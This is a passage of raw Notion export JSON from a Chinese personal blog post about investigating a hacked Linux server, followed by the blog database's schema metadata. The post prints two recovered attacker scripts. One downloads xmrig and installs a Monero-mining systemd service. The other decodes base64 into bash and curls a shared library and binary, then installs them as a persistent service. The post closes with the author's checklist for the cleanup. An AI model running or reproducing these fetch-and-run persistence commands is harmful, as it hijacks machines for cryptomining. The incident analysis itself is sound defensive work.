/mnt/www/docker -o -path /usr/local/aegis  \\) -prune -o -type f -newermt \"2024-03-18 00:00:00\" ! -newermt \"2024-03-19 00:00:00\" -print"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855546376,"last_edited_time":1710855606043,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"723a182a-626b-4c3a-a918-e190ff211798":{"value":{"id":"723a182a-626b-4c3a-a918-e190ff211798","type":"image","properties":{"size":[["84.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a078109a-f42d-4a2b-8f84-8a810cf1fead/Untitled.png"]]},"format":{"block_width":920,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a078109a-f42d-4a2b-8f84-8a810cf1fead/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.2826086956521739,"block_preserve_scale":true},"created_time":1710855673964,"last_edited_time":1710855679321,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["a078109a-f42d-4a2b-8f84-8a810cf1fead"]}},"1ee5667c-9025-478c-9b94-0303a98f4067":{"value":{"id":"1ee5667c-9025-478c-9b94-0303a98f4067","type":"code","properties":{"title":[["#找到wawa.sh和update_udp.sh很可疑\n\n#wawa.sh如下\ncd /root;\nwget http://1187xxxxxom/xmrig-6.21.1-linux-static-x64.tar.gz;\ntar -zxvf xmrig-6.21.1-linux-static-x64.tar.gz;\nsystemctl stop monero.service;\nrm -rf /etc/systemd/system/monero.service;\nwget http://xxxxon/monero.service;\nsysctl -w vm.nr_hugepages=$((1168+$(nproc)));\nmv monero.service /etc/systemd/system/monero.service;\nsystemctl daemon-reload;\nsystemctl enable monero.service;\nsystemctl start monero.service\n\n#update_udp.sh如下\necho \"xxxx==base64encodeexxxxxx\"|base64 -di|bash -s\n#base64解谜如下\ncurl -s http:/x7/libhv.so -o /opt/libhv.so;\ncp /opt/libhv.so /usr/lib/libhv.so;\ncp /opt/libhv.so /usr/lib64/libhv.so;\ncurl -s http://bpxysetmd -o /opt/sysetmd;\nchmod 777 /opt/sysetmd;\ncurl -s http://bpgx27/sysetmd.service -o /etc/systemd/system/sysetmd.service;systemctl daemon-reload;\nsystemctl enable sysetmd.service;\nsystemctl start sysetmd.service;"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855687497,"last_edited_time":1710855822956,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"af73c0b0-fefa-4be8-908d-9f53434e90f1":{"value":{"id":"af73c0b0-fefa-4be8-908d-9f53434e90f1","type":"text","properties":{"title":[["发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855825239,"last_edited_time":1710855868497,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"26d7cf25-e010-42fc-a17a-f41bf5810199":{"value":{"id":"26d7cf25-e010-42fc-a17a-f41bf5810199","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853769932,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"6ad39ada-a5ba-4717-b358-d1d013de7f01":{"value":{"id":"6ad39ada-a5ba-4717-b358-d1d013de7f01","type":"bulleted_list","properties":{"title":[["找被黑时间左右的所有文件一个一个排查"]]},"created_time":1710855982697,"last_edited_time":1710856009153,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"6da1726b-3b01-4477-9f83-9c21240b1f03":{"value":{"id":"6da1726b-3b01-4477-9f83-9c21240b1f03","type":"bulleted_list","properties":{"title":[["找文件关联pid"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710856010525,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"c5b1e0c0-edb3-45bc-90d2-5fc97aadef92":{"value":{"id":"c5b1e0c0-edb3-45bc-90d2-5fc97aadef92","type":"bulleted_list","properties":{"title":[["找pid关联fd,端口,ip等"]]},"created_time":1710855892374,"last_edited_time":1710856017679,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"ac2e2b33-c939-4e51-b645-a75d92cefce2":{"value":{"id":"ac2e2b33-c939-4e51-b645-a75d92cefce2","type":"bulleted_list","properties":{"title":[["找相关service,排查异常servcie,定时任务全部停止"]]},"created_time":1710855917952,"last_edited_time":1710856113350,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"bf3c5b4c-2a2e-4940-8141-00e72adb8cd3":{"value":{"id":"bf3c5b4c-2a2e-4940-8141-00e72adb8cd3","type":"bulleted_list","properties":{"title":[["持续观察cpu,网络等信息"]]},"created_time":1710855929613,"last_edited_time":1710856053608,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"9213b777-2c2f-4959-89fe-83076a290465":{"value":{"id":"9213b777-2c2f-4959-89fe-83076a290465","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"1f2fa689-6444-408e-8982-d97876cbaca9":{"value":{"id":"1f2fa689-6444-408e-8982-d97876cbaca9","type":"column_list","content":["c7184f46-708d-4e2a-842e-86e0110aece0","27670dd3-1c08-417c-8df9-ee69095a647e","7759e27d-6555-4cf4-af7c-92289e6b2a6f"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"c7184f46-708d-4e2a-842e-86e0110aece0":{"value":{"id":"c7184f46-708d-4e2a-842e-86e0110aece0","type":"column","content":["68a0b662-e72a-470b-95d5-c904c3908fa2"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"27670dd3-1c08-417c-8df9-ee69095a647e":{"value":{"id":"27670dd3-1c08-417c-8df9-ee69095a647e","type":"column","content":["e6f04189-03e8-4eb7-8d83-f52461442c69","8800522e-0ef9-40b9-a37c-26e5267758ab"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"7759e27d-6555-4cf4-af7c-92289e6b2a6f":{"value":{"id":"7759e27d-6555-4cf4-af7c-92289e6b2a6f","type":"column","content":["1b7f549f-8224-432d-bb0f-63cab60c829e"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"68a0b662-e72a-470b-95d5-c904c3908fa2":{"value":{"id":"68a0b662-e72a-470b-95d5-c904c3908fa2","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"c7184f46-708d-4e2a-842e-86e0110aece0","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"e6f04189-03e8-4eb7-8d83-f52461442c69":{"value":{"id":"e6f04189-03e8-4eb7-8d83-f52461442c69","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"27670dd3-1c08-417c-8df9-ee69095a647e","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"1b7f549f-8224-432d-bb0f-63cab60c829e":{"value":{"id":"1b7f549f-8224-432d-bb0f-63cab60c829e","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"7759e27d-6555-4cf4-af7c-92289e6b2a6f","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"8800522e-0ef9-40b9-a37c-26e5267758ab":{"value":{"id":"8800522e-0ef9-40b9-a37c-26e5267758ab","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"27670dd3-1c08-417c-8df9-ee69095a647e","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"8a913cee-ee89-46cd-a83e-a3f02655f038":{"value":{"id":"8a913cee-ee89-46cd-a83e-a3f02655f038","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-